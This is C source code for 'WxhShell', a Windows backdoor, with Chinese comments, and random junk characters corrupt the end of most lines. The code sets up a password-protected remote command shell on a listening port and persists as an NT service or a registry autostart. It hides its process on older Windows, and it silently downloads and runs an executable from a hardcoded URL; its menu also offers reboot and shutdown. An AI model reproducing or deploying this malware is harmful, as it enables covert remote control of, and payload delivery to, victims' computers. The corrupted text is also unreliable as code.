PROCNTQSIP NtQueryInformationProcess; >ge-yK 1
e:[Kp6J
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pmCBe6n\l
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v%3)wD
P7\(D`
HANDLE hProcess; Y tGH>0}h
PROCESS_BASIC_INFORMATION pbi; Ao96[2U6
6@2p@eYo
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r"fu{4aX
if(NULL == hInst ) return 0; ~s^&*KaA
v03~=(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); },a|WL3^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ! #
tRl
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l%Sz6
q){]fp.,@
if (!NtQueryInformationProcess) return 0; 8zj09T[
mKpUEJ<a
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KvilGh10
if(!hProcess) return 0; `?JrC3
rvE!Q=y~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]VJcV.7`
3"[ KXzn
CloseHandle(hProcess); n^Z?u9VR
y6*i/3
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tu!u9jVv
if(hProcess==NULL) return 0; <2cq 0*$
}Pb!u9_
HMODULE hMod; 6C]!>i}U
char procName[255]; tW=0AtZl]
unsigned long cbNeeded; ==FzkRA)
^\+6*YE 4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .j&jf^a5
#-lk=>
CloseHandle(hProcess); 3al5Vu2:
*znCe(dd
if(strstr(procName,"services")) return 1; // 以服务启动 tb=L+WAIw
|9\Lv$VJ
return 0; // 注册表启动 P;_dilG
} U'lmQrF!
|x5w;=
// 主模块 w@:o:yLS
int StartWxhshell(LPSTR lpCmdLine) Cn`%
*w
{ 2! 6Kzq
SOCKET wsl; ~r>UjC_
B:
BOOL val=TRUE; WG}QLcP
int port=0; c//W#V2Q
struct sockaddr_in door; &0C!P=-p
}E1Eq
if(wscfg.ws_autoins) Install(); AT9SD vJ
1b!l+ 8!
port=atoi(lpCmdLine); r2Z`4tN:
^X;>?_Bk
if(port<=0) port=wscfg.ws_port; x)U;
cXCczqabv
WSADATA data; /nmfp&@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hWW<]qzA,
plIx""a^h
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -'VT
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HZ}'W<N
door.sin_family = AF_INET; bG&qgbN>
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {vH8X(m
door.sin_port = htons(port); $Yxy(7d7w
?-Z:N`YP
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R"=M5
closesocket(wsl); YOoP]0'L
return 1; $.cGRz
} :)yM9^<D
0q;] ;m
if(listen(wsl,2) == INVALID_SOCKET) { f:0n-me
closesocket(wsl); +]zP $5_e
return 1; +~v(*s C
} )gLasR.1
Wxhshell(wsl); }<S2W\,G
WSACleanup(); _L72Ae(_
.0ZvCv:>
return 0; 6};oLnO
p[GyQ2k)
} K!~](_W!
0Q9OQqg
m
// 以NT服务方式启动 TExlGAHo+O
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lq5E?B
{ z~5'p(|@f
DWORD status = 0; Q!{Dw:7
DWORD specificError = 0xfffffff; BYf"l8^,
=R"tnjR
serviceStatus.dwServiceType = SERVICE_WIN32; Ei<:=6EX?8
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3Cl9,Z"&6$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B=r/(e
serviceStatus.dwWin32ExitCode = 0; 3"n8B6
serviceStatus.dwServiceSpecificExitCode = 0; 7KIQ)E'kG|
serviceStatus.dwCheckPoint = 0; PsnU5f)`
serviceStatus.dwWaitHint = 0; AF}"
9="sx 8?
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~dLZ[6Z
if (hServiceStatusHandle==0) return; S@)bl
K=)R!e8
status = GetLastError(); >cb
gL%
if (status!=NO_ERROR) 6f!mk:\T.
{
3lN+fQ>)S
serviceStatus.dwCurrentState = SERVICE_STOPPED; {[?|RC;\Y
serviceStatus.dwCheckPoint = 0; xn8B|axB
serviceStatus.dwWaitHint = 0; :bDA<B6bb
serviceStatus.dwWin32ExitCode = status; A~V\r<N
j
serviceStatus.dwServiceSpecificExitCode = specificError; &L]*]Xz;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6%#'X
return; mNel3J3
} Rp*t"HSaAW
KOx#LGz
serviceStatus.dwCurrentState = SERVICE_RUNNING; R-fjxM*
serviceStatus.dwCheckPoint = 0; Hrnql
serviceStatus.dwWaitHint = 0; \[EWxu
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \k_3IP?o=
} uLljM{I
F`.7_D
// 处理NT服务事件,比如:启动、停止 z]AS@}wWqg
VOID WINAPI NTServiceHandler(DWORD fdwControl) m!g8@YI
{ *XOKH+_u
switch(fdwControl) ie5ijkxZ(
{ qu+2..3
case SERVICE_CONTROL_STOP: Y{|yB
serviceStatus.dwWin32ExitCode = 0; vh8Kd' y
serviceStatus.dwCurrentState = SERVICE_STOPPED; q"<-
serviceStatus.dwCheckPoint = 0; !\O,dq
serviceStatus.dwWaitHint = 0; b.*4RL
{ ~HRWKPb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'LLx$y.Ei[
} 3uG5b8?
return; 2(//slP
case SERVICE_CONTROL_PAUSE: "]Dzc[Vp
serviceStatus.dwCurrentState = SERVICE_PAUSED; )#~fS28j
break; ibs"Iv34
case SERVICE_CONTROL_CONTINUE: K0=E4>z,`q
serviceStatus.dwCurrentState = SERVICE_RUNNING; SfSEA^@|
break; 'TsZuZW]
case SERVICE_CONTROL_INTERROGATE: 1>x@1Mo+K
break; RmV/wY
}; EoR6Rx@Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'OW"*b
} HCkqh4
91d`LsP
// 标准应用程序主函数 0a6z"K}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .hNw1~Fj
{ "sX?wTag
"gajBY
// 获取操作系统版本 oe|<xWu
OsIsNt=GetOsVer(); :wmf{c
GetModuleFileName(NULL,ExeFile,MAX_PATH); g]
C3lf-
<?7,`P:h[
// 从命令行安装 2X c
if(strpbrk(lpCmdLine,"iI")) Install(); UA4d|^ev
&|"I0|tJ
// 下载执行文件 Fd,+(i D
if(wscfg.ws_downexe) { Is6 _
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T1!Gr!=
WinExec(wscfg.ws_filenam,SW_HIDE); jTUf4&b-
} [Pc[{(
cPaWJ+c
if(!OsIsNt) { 9Y@?xn.\
// 如果时win9x,隐藏进程并且设置为注册表启动 !Fg4Au
HideProc(); 8|qB1fB
StartWxhshell(lpCmdLine); =/QU$[7X(
} 4|41^B5Y
else S}Y|s]6
if(StartFromService()) Sc$8tLDLj
// 以服务方式启动 jo3}]KC !
StartServiceCtrlDispatcher(DispatchTable); IgR"euU
else u#@{%kPW
// 普通方式启动 ZMMo6;
StartWxhshell(lpCmdLine); aGk%I
$#ju?B~
return 0; xm,`4WdG
} ^N2M/B|0
/<7C[^h{-
]baaOD$Z
M$4=q((0
=========================================== 5-WRv;
[+MX$y
G!VF*yW8
11y.z^
[kuVQ$)
P&%eIgAOL
" uGUv~bE
*zVLy^L_8
#include <stdio.h> 9kX=99kf[
#include <string.h> 7Cd_zZ
#include <windows.h> Jg|cvu-+
#include <winsock2.h> z(`
}:t
#include <winsvc.h> MYw8wwX0kJ
#include <urlmon.h> $S=~YzO
2Jo~m_
#pragma comment (lib, "Ws2_32.lib") xBRh!w
#pragma comment (lib, "urlmon.lib") K%(XgXb(</
6snOMa GRu
#define MAX_USER 100 // 最大客户端连接数 \SiHrr5
#define BUF_SOCK 200 // sock buffer 7{An@hNh
#define KEY_BUFF 255 // 输入 buffer %`?;V;{=
bKuj
po6
#define REBOOT 0 // 重启 S'!q}|7X3
#define SHUTDOWN 1 // 关机 t`Y!"l
@<OO
#define DEF_PORT 5000 // 监听端口 pFJQ7Jlx
gM3]%L_
#define REG_LEN 16 // 注册表键长度 UIf ZPf=
#define SVC_LEN 80 // NT服务名长度 Zgg'9E
cZgMA8
F
// 从dll定义API !0ce kSesr
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ] dHB}
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p`:*mf
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SY'2A)
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eB=v~I3
?L@@;tt
// wxhshell配置信息 ?Ml%$z@b?
struct WSCFG { l801`~*gO
int ws_port; // 监听端口 LZM,QQ
char ws_passstr[REG_LEN]; // 口令 w{3Q( =&
int ws_autoins; // 安装标记, 1=yes 0=no g5[ D&
char ws_regname[REG_LEN]; // 注册表键名 F<Hqo>G
char ws_svcname[REG_LEN]; // 服务名 /Fv/oY
char ws_svcdisp[SVC_LEN]; // 服务显示名 3ar=1_Ar
char ws_svcdesc[SVC_LEN]; // 服务描述信息 <t{?7_ 8
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6ORY`Pe7P|
int ws_downexe; // 下载执行标记, 1=yes 0=no ~n[b^b
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z wL3,!t
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "v(G7*2
P</s)"@
}; )Fqy%uR8
N5nvL)a~
// default Wxhshell configuration ~{L.f94N
struct WSCFG wscfg={DEF_PORT, 8p (!]^z
"xuhuanlingzhe", Bx(yu'g|a
1, E'5Ajtw;
"Wxhshell", 3{N\A5~
"Wxhshell", 5kcJ
"WxhShell Service", T8n-u b<
"Wrsky Windows CmdShell Service", 8HMo.*Ti9
"Please Input Your Password: ", AG]WO8f)
1, ]o-Fi$h!
"http://www.wrsky.com/wxhshell.exe", tbq|,"
"Wxhshell.exe" I[#U`9Dt
}; fr+@HUOxsl
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// 消息定义模块 R0%?:!
F
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $#5klA
char *msg_ws_prompt="\n\r? for help\n\r#>"; hM~eJv
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {G]?{c)"
char *msg_ws_ext="\n\rExit."; KiQ(XNx
char *msg_ws_end="\n\rQuit."; #c-b}.R
char *msg_ws_boot="\n\rReboot..."; QwBXlO?
char *msg_ws_poff="\n\rShutdown..."; j"5Pe
char *msg_ws_down="\n\rSave to "; OCCEL9d
Y2<dM/b/
char *msg_ws_err="\n\rErr!"; 1t+%Gv^sK
char *msg_ws_ok="\n\rOK!"; [*Q-nZ/L
uJgI<l'|e3
char ExeFile[MAX_PATH]; q69H^E=
int nUser = 0; &.zj5*J
HANDLE handles[MAX_USER]; 80Ag
int OsIsNt; MU|{g
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